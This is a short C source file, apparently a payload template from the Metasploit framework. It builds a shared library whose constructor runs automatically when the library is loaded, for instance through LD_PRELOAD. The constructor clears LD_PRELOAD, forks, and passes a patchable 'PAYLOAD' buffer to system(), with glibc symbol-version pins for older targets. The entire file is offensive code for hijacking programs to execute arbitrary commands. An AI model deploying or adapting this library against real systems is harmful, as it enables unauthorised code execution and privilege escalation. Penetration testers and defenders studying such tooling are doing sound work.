rapid7/metasploit-framework

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif

#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif

#define PAYLOAD_SIZE 5000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};

static void _run_payload_(void) __attribute__((constructor));

static void _run_payload_(void)
{
    int dummy = 0;
    unsetenv("LD_PRELOAD");
    if (! fork())
      dummy = system((const char*)payload);

    exit(dummy);
}